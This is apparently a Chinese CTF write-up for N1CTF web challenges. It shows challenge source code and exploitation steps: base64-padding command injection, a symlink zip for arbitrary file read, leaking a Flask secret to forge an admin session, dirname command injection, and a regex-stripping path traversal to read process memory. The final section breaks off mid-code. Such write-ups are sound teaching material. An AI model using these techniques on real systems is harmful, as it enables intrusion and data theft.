N1CTF_wp

Ping

源码

import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
    try:
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
            return False
        if decoded_ip.count('.') != 3:
            return False
        
        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            return False
        if not ipaddress.ip_address(decoded_ip):
            return False
        if len(decoded_ip) > 15:
            return False
        if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
            return False
    except Exception as e:
        return False
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

    try:
        process = subprocess.run(
            command,
            shell=True,
            check=True,
            capture_output=True,
            text=True
        )
        return process.stdout
    except Exception as e:
        return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
    data = flask.request.json
    ip_base64 = data.get('ip_base64')
    if not ip_base64:
        return flask.jsonify({'error': 'no ip'}), 400

    result = run_ping(ip_base64)
    if result:
        return flask.jsonify({'success': True, 'output': result}), 200
    else:
        return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
    return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

这里对输入先base64解码,检查是不是符合ipv4的格式,最后在shell中解码执行命令。

乍一看这设的waf也太强了,基本没法绕过,并且可控的只有输入的base64数据,因此联想到可能是考python和linux中b64decode的解析差异

上源码cpython/Modules/binascii.c at main · python/cpython

if (this_ch == BASE64_PAD) {
            padding_started = 1;

            if (strict_mode && quad_pos == 0) {
                state = get_binascii_state(module);
                if (state) {
                    PyErr_SetString(state->Error, "Excess padding not allowed");
                }
                goto error_end;
            }
            if (quad_pos >= 2 && quad_pos + ++pads >= 4) {
                /* A pad sequence means we should not parse more input.
                ** We've already interpreted the data from the quad at this point.
                ** in strict mode, an error should raise if there's excess data after the padding.
                */
                if (strict_mode && i + 1 < ascii_len) {
                    state = get_binascii_state(module);
                    if (state) {
                        PyErr_SetString(state->Error, "Excess data after padding");
                    }
                    goto error_end;
                }

                goto done;
            }
            continue;
        }

b64decode的底层使用c来实现的,这里的注释写了当遇到填充符=时,就不会解析后面的输入了。

在本地尝试一下

>>> base64.b64decode('YWJjZA==')
b'abcd'
>>> base64.b64decode('YWJjZA==YWJjZA==')
b'abcd'

在linux中

le0@DESKTOP-LGRQEPU /m/c/U/乐> echo 'YWJjZA==' | base64 -d
abcd¶                                                                                                       le0@DESKTOP-LGRQEPU /m/c/U/乐> echo 'YWJjZA==YWJjZA==' | base64 -d
abcdabcd¶      

因此只需要构造base64之后有==的ipv4地址,然后拼接上想要执行的命令

image-20250914112544233

成功执行

image-20250914112603350

image-20250914112646763

flag{bAse64_15_DIffER3N7_IN_LInUX_anD_pytH0N_i9a7m}

online_unzipper

import os
import uuid
from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}

@app.route("/")
def index():
    if "username" not in session:
        return redirect(url_for("login"))
    return redirect(url_for("upload"))

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        if username in users:
            return "用户名已存在"

        users[username] = {"password": password, "role": "user"}
        return redirect(url_for("login"))

    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        if username in users and users[username]["password"] == password:
            session["username"] = username
            session["role"] = users[username]["role"]
            return redirect(url_for("upload"))
        else:
            return "用户名或密码错误"

    return render_template("login.html")

@app.route("/logout")
def logout():
    session.clear()
    return redirect(url_for("login"))

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if "username" not in session:
        return redirect(url_for("login"))

    if request.method == "POST":
        file = request.files["file"]
        if not file:
            return "未选择文件"

        role = session["role"]

        if role == "admin":
            dirname = request.form.get("dirname") or str(uuid.uuid4())
        else:
            dirname = str(uuid.uuid4())

        target_dir = os.path.join(UPLOAD_FOLDER, dirname)
        os.makedirs(target_dir, exist_ok=True)

        zip_path = os.path.join(target_dir, "upload.zip")
        file.save(zip_path)

        try:
            os.system(f"unzip -o {zip_path} -d {target_dir}")
        except:
            return "解压失败,请检查文件格式"

        os.remove(zip_path)
        return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

    return render_template("upload.html")

@app.route("/download/<folder>")
def download(folder):
    target_dir = os.path.join(UPLOAD_FOLDER, folder)
    if not os.path.exists(target_dir):
        abort(404)

    files = os.listdir(target_dir)
    return render_template("download.html", folder=folder, files=files)

@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
    file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
    try:
        with open(file_path, 'r') as file:
            content = file.read()
        return Response(
            content,
            mimetype="application/octet-stream",
            headers={
                "Content-Disposition": f"attachment; filename={filename}"
            }
        )
    except FileNotFoundError:
        return "File not found", 404
    except Exception as e:
        return f"Error: {str(e)}", 500


if __name__ == "__main__":
    app.run(host="0.0.0.0")

上传一个压缩包,会自动解压,文件的内容会返回

一开始看到download路由觉得可能有路径穿越,但没成功

软链接任意文件读取

软连接文件它不是一个独立的文件,而是一个指向其他文件 / 目录的 “路径指针”(类似 Windows 的 “快捷方式”)。

通过ln -s /etc/passwd test命令创造软链接

创建一个压缩包,使用-y参数以保证打包的是一个软链接文件zip -y test.zip test

上传后成功读取/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

但是想要执行命令只能通过 os.system(f"unzip -o {zip_path} -d {target_dir}")

其中的target_dir可以通过admin用户来控制

这里的role是通过session获取的 role = session["role"]

所以接下来的思路就是伪造session

app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")

secret_key在环境变量中

读取/proc/self/environ

FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!

这里我直接在本地起了个环境,把role变为admin,得到cookie:eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6IjExMSJ9.aMUAYg.huymbPWI-xeaxtzxyO3bql-c-SY

role成功变为admin

image-20250914154555131

这里就可以开始构造命令了test;ls / > /tmp/1.txt

同样通过软链接读取/tmp/1.txt

app
bin
boot
dev
entrypoint.sh
etc
flag-BBv4itllamUqk6K9Y8vOpNQw3wiRZEqX.txt
home
leo
lib
lib64
media
mnt
opt
passwd3
proc
root
run
sbin
srv
sys
tmp
usr
var

最后读取flag

Peek a Fork

源码

import socket
import os
import hashlib
import fcntl
import re
import mmap

with open('flag.txt', 'rb') as f:
    flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Gateway</title>
    <style>
        body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
        .container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
        h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
        p { font-size: 1.2rem; }
        .status { color: #ffff00; }
    </style>
</head>
<body>
    <div class="container">
        <h1>Firewall</h1>
        <p class="status">STATUS: All systems operational.</p>
        <p>Your connection has been inspected.</p>
    </div>
</body>
</html>"""

def handle_connection(conn, addr, log, factor=1):
    try:
        conn.settimeout(10.0)

        if log:
            with open('log.txt', 'a') as f:
                fcntl.flock(f, fcntl.LOCK_EX)
                log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
                for _ in range(factor):
                    log_bytes = hashlib.sha3_256(log_bytes).digest()
                log_entry = log_bytes.hex() + "\n"
                f.write(log_entry)
                
        request_data = conn.recv(256)
        if not request_data.startswith(b"GET /"):
            response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
            conn.sendall(response)
            return
        try:
            path = request_data.split(b' ')[1]
            pattern = rb'\?offset=(\d+)&length=(\d+)'
            
            offset = 0
            length = -1

            match = re.search(pattern, path)

            if match:
                offset = int(match.group(1).decode())
                length = int(match.group(2).decode())
                
                clean_path = re.sub(pattern, b'', path)
                filename = clean_path.strip(b'/').decode()
            else:
                filename = path.strip(b'/').decode()

        except Exception:
            response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
            conn.sendall(response)
            return

        if not filename:
            response_body = PAGE
            response_status = "200 OK"
        else:
            try:
                with open(os.path.normpath(filename), 'rb') as f:
                    if offset > 0:
                        f.seek(offset)
                    
                    data_bytes = f.read(length)
                    response_body = data_bytes.decode('utf-8', 'ignore')
                response_status = "200 OK"
            except Exception as e:
                response_body = f"Invalid path"
                response_status = "500 Internal Server Error"

        response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
        conn.sendall(response.encode())
        
    except Exception:
        pass
    finally:
        conn.close()
        os._exit(0)

def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', 1337))
    server.listen(50)
    print(f"Server listening on port 1337...")

    while True:
        try:
            pid, status = os.waitpid(-1, os.WNOHANG)
        except ChildProcessError:
            pass
        conn, addr = server.accept()

        initial_data = conn.recv(256, socket.MSG_PEEK)
        if any(term in initial_data.lower() for term in FORBIDDEN):
            conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
            conn.close()
            continue
            
        if initial_data.startswith(b'GET /?log=1'):
            try:
                factor = 1
                pattern = rb"&factor=(\d+)"
                match = re.search(pattern, initial_data)
                if match:
                    factor = int(match.group(1).decode())
                pid = os.fork()
                if pid == 0:
                    server.close()
                    handle_connection(conn, addr, True, factor)
            except Exception as e:
                print("[ERROR]: ", e)
            finally:
                conn.close()
                continue
        else:
            pid = os.fork()
            if pid == 0:
                server.close()
                handle_connection(conn, addr, False)
        
        conn.close()

if __name__ == '__main__':
    main()

可以读取log.txt,尝试一下能不能任意文件读取

path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
    offset = int(match.group(1).decode())
    length = int(match.group(2).decode())

    clean_path = re.sub(pattern, b'', path)
    filename = clean_path.strip(b'/').decode()
    else:
        filename = path.strip(b'/').decode()

这里会把所以符合pattern都替换为空格,试试看能不能构造/etc/passwd

import re
path1 = b'?offset=1&length=5.?offset=1&length=5.?offset=1&length=5/etc/passwd?offset=1&length=5'
pattern = rb'\?offset=(\d+)&length=(\d+)'

match = re.search(pattern, path)

if match:
    offset = int(match.group(1).decode())
    length = int(match.group(2).decode())
    
    clean_path = re.sub(pattern, b'', path)
    filename = clean_path.strip(b'/').decode()
else:
    filename = path.strip(b'/').decode()

print(filename)//   ../etc/passwd

成功读到

image-20250914212253279

Linux 系统中,/proc/self/mem文件可直接访问当前进程的内存(self表示当前进程 PID),而/proc/self/maps文件会记录进程所有内存区域的地址范围和属性(包括匿名映射)。

读取/proc/self/maps

560e9c84d000-560e9c84e000 r--p 00000000 103:00 15523385                  /usr/local/bin/python3.12
560e9c84e000-560e9c84f000 r-xp 00001000 103:00 15523385                  /usr/local/bin/python3.12
560e9c84f000-560e9c850000 r--p 00002000 103:00 15523385                  /usr/local/bin/python3.12
560e9c850000-560e9c851000 r--p 00002000 103:00 15523385                  /usr/local/bin/python3.12
560e9c851000-560e9c852000 rw-p 00003000 103:00 15523385                  /usr/local/bin/python3.12
560e9c871000-560e9ccc2000 rw-p 00000000 00:00 0                          [heap]
7fa387d2b000-7fa387d2d000 r--p 00000000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d2d000-7fa387d30000 r-xp 00002000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d30000-7fa387d32000 r--p 00005000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d32000-7fa387d33000 r--p 00006000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d33000-7fa387d34000 rw-p 00007000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d34000-7fa387d35000 r--p 00000000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d35000-7fa387d37000 r-xp 00001000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d37000-7fa387d39000 r--p 00003000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d39000-7fa387d3a000 r--p 00004000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d3a000-7fa387d3b000 rw-p 00005000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d3b000-7fa387d3d000 r--p 00000000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d3d000-7fa387d44000 r-xp 00002000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d44000-7fa387d46000 r--p 00009000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d46000-7fa387d47000 r--p 0000a000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d47000-7fa387d48000 rw-p 0000b000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d48000-7fa387d4d000 r--p 00000000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387d4d000-7fa387dfc000 r-xp 00005000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387dfc000-7fa387e10000 r--p 000b4000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387e10000-7fa387e11000 r--p 000c8000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387e11000-7fa387e12000 rw-p 000c9000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387e12000-7fa387e15000 r--p 00000000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e15000-7fa387e29000 r-xp 00003000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e29000-7fa387e30000 r--p 00017000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e30000-7fa387e31000 r--p 0001d000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e31000-7fa387e32000 rw-p 0001e000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e32000-7fa387f29000 r--p 00000000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa387f29000-7fa3882aa000 r-xp 000f7000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa3882aa000-7fa3883e1000 r--p 00478000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa3883e1000-7fa388464000 r--p 005ae000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa388464000-7fa388467000 rw-p 00631000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa388467000-7fa38846a000 rw-p 00000000 00:00 0 
7fa38846a000-7fa38846e000 r--p 00000000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa38846e000-7fa388474000 r-xp 00004000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa388474000-7fa388478000 r--p 0000a000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa388478000-7fa388479000 r--p 0000d000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa388479000-7fa38847b000 rw-p 0000e000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa38847b000-7fa38847f000 r--p 00000000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa38847f000-7fa388486000 r-xp 00004000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa388486000-7fa38848a000 r--p 0000b000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa38848a000-7fa38848b000 r--p 0000f000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa38848b000-7fa38848c000 rw-p 00010000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa38848c000-7fa38858c000 rw-p 00000000 00:00 0 
7fa38858c000-7fa38858f000 r--p 00000000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa38858f000-7fa388597000 r-xp 00003000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa388597000-7fa38859c000 r--p 0000b000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa38859c000-7fa38859d000 r--p 0000f000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa38859d000-7fa38859e000 rw-p 00010000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa38859e000-7fa38869e000 rw-p 00000000 00:00 0 
7fa38869e000-7fa3886a2000 r--p 00000000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886a2000-7fa3886ad000 r-xp 00004000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886ad000-7fa3886b6000 r--p 0000f000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886b6000-7fa3886b7000 r--p 00017000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886b7000-7fa3886b8000 rw-p 00018000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886b8000-7fa38891a000 rw-p 00000000 00:00 0 
7fa38891a000-7fa38892b000 r--p 00000000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa38892b000-7fa3889a8000 r-xp 00011000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa3889a8000-7fa388a08000 r--p 0008e000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa388a08000-7fa388a09000 r--p 000ed000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa388a09000-7fa388a0a000 rw-p 000ee000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa388a0a000-7fa388a32000 r--p 00000000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388a32000-7fa388b97000 r-xp 00028000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388b97000-7fa388bed000 r--p 0018d000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388bed000-7fa388bf1000 r--p 001e2000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388bf1000-7fa388bf3000 rw-p 001e6000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388bf3000-7fa388c00000 rw-p 00000000 00:00 0 
7fa388c00000-7fa388d00000 r--p 00000000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa388d00000-7fa388f1f000 r-xp 00100000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa388f1f000-7fa38906f000 r--p 0031f000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa38906f000-7fa3890e6000 r--p 0046e000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa3890e6000-7fa389255000 rw-p 004e5000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa389255000-7fa389256000 rw-p 00000000 00:00 0 
7fa38925a000-7fa38925c000 r--p 00000000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa38925c000-7fa38925f000 r-xp 00002000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa38925f000-7fa389261000 r--p 00005000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa389261000-7fa389262000 r--p 00006000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa389262000-7fa389263000 rw-p 00007000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa389263000-7fa389267000 rw-p 00000000 00:00 0 
7fa389267000-7fa38926e000 r--s 00000000 103:00 15520059                  /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa38926e000-7fa3892c8000 r--p 00000000 103:00 15519696                  /usr/lib/locale/C.utf8/LC_CTYPE
7fa3892c8000-7fa3892ca000 rw-p 00000000 00:00 0 
7fa3892cb000-7fa3892cc000 rw-s 00000000 00:01 1053                       /dev/zero (deleted)
7fa3892cc000-7fa3892ce000 rw-p 00000000 00:00 0 
7fa3892ce000-7fa3892cf000 r--p 00000000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa3892cf000-7fa3892f7000 r-xp 00001000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa3892f7000-7fa389302000 r--p 00029000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa389302000-7fa389304000 r--p 00034000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa389304000-7fa389305000 rw-p 00036000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa389305000-7fa389306000 rw-p 00000000 00:00 0 
7fff9b4dd000-7fff9b4fe000 rw-p 00000000 00:00 0                          [stack]
7fff9b5a8000-7fff9b5ac000 r--p 00000000 00:00 0                          [vvar]
7fff9b5ac000-7fff9b5ae000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

/dev/zero 是 Linux 的 “零字节设备”,本身不存储任何数据,但通过 mmap 映射它时,会生成一块 初始值为 0、支持读写的内存区域

由于 /dev/zero 映射区的特性(初始为 0、支持共享、无需关联真实文件数据),进程会通过 mmap("/dev/zero", ...) 创建这块内存,再将 flag 主动写入 到这个映射区(覆盖初始的 0 值)。

将7fa3892cb000转为十进制读取

image-20250914213155338

Unfinished(复现)

源码

from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
    def __init__(self, id, username, password, bio=""):
        self.id = id
        self.username = username
        self.password = password
        self.bio = bio
admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
    for user in USERS_DB.values():
        if str(user.id) == user_id:
            return user
    return None

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    global USER_ID_COUNTER
    if request.method == 'POST':
        username = request.form['username']
        if username in USERS_DB:
            flash('Username already exists.')
            return redirect(url_for('register'))
        
        USER_ID_COUNTER += 1
        new_user = User(
            id=USER_ID_COUNTER,
            username=username,
            password=request.form['password']
        )
        USERS_DB[username] = new_user
        login_user(new_user)
        response = make_response(redirect(url_for('index')))
        response.set_cookie('ticket', 'your_ticket_value')
        return response
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user = USERS_DB.get(username)
        if user and user.password == password:
            login_user(user)
            return redirect(url_for('index'))
        flash('Invalid credentials.')
    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
    if request.method == 'POST':
        current_user.bio = request.form['bio']
        print(current_user.bio)
        return redirect(url_for('index'))
    return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
    if request.method == 'POST':
        ticket = request.form['ticket']
        response = make_response(redirect(url_for('index')))
        response.set_cookie('ticket', ticket)
        return response
    return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
    """
    # I found a bug in it.
    # Until I fix it, I've banned /api/bio/. Have fun :)
    """
    username = request.args.get("username",default=current_user.username)
    visit_url(f"http://localhost/api/bio/{username}")
    template = f"""
    {{% extends "base.html" %}}
    {{% block title %}}success{{% endblock %}}
    {{% block content %}}
    <h1>bot will visit your bio</h1>
    <p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
    {{% endblock %}}
    """
    return render_template_string(template)


@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
    if not current_user.username == username:
        return "Unauthorized", 401
    user = USERS_DB.get(username)
    if not user:
        return "User not found.", 404
    return user.bio

def visit_url(url):
    try:
        flag_value = os.environ.get('FLAG', 'flag{fake}')

        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
            context = browser.new_context()

            context.add_cookies([{
                'name': 'flag',
                'value': flag_value,
                'domain': 'localhost',
                'path': '/',
                'httponly': True
            }])

            page = context.new_page()
            page.goto("http://localhost/login", timeout=5000)
            page.fill("input[name='username']", "admin")
            page.fill("input[name='password']", admin_password)
            page.click("input[name='submit']")
            page.wait_for_timeout(3000)
            page.goto(url, timeout=5000)
            page.wait_for_timeout(5000)
            browser.close()

    except Exception as e:
        print(f"Bot error: {str(e)}")


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)
user  www-data;
worker_processes  auto;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=static_cache:10m max_size=1g inactive=60m;

    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    server {
        listen 80 default_server;
        server_name _;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /api/bio/ {
            return 403;
        }

        location ~ \.(css|js)$ {
            proxy_pass http://127.0.0.1:5000;
            proxy_ignore_headers Vary;
            proxy_cache static_cache;
            proxy_cache_valid 200 10m;
        }
    }
}

注意到这两个函数

def view_user():
    """
    # I found a bug in it.
    # Until I fix it, I've banned /api/bio/. Have fun :)
    """
    username = request.args.get("username",default=current_user.username)
    visit_url(f"http://localhost/api/bio/{username}")
    template = f"""
    {{% extends "base.html" %}}
    {{% block title %}}success{{% endblock %}}
    {{% block content %}}
    <h1>bot will visit your bio</h1>
    <p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
    {{% endblock %}}
    """
    return render_template_string(template)

def visit_url(url):
    try:
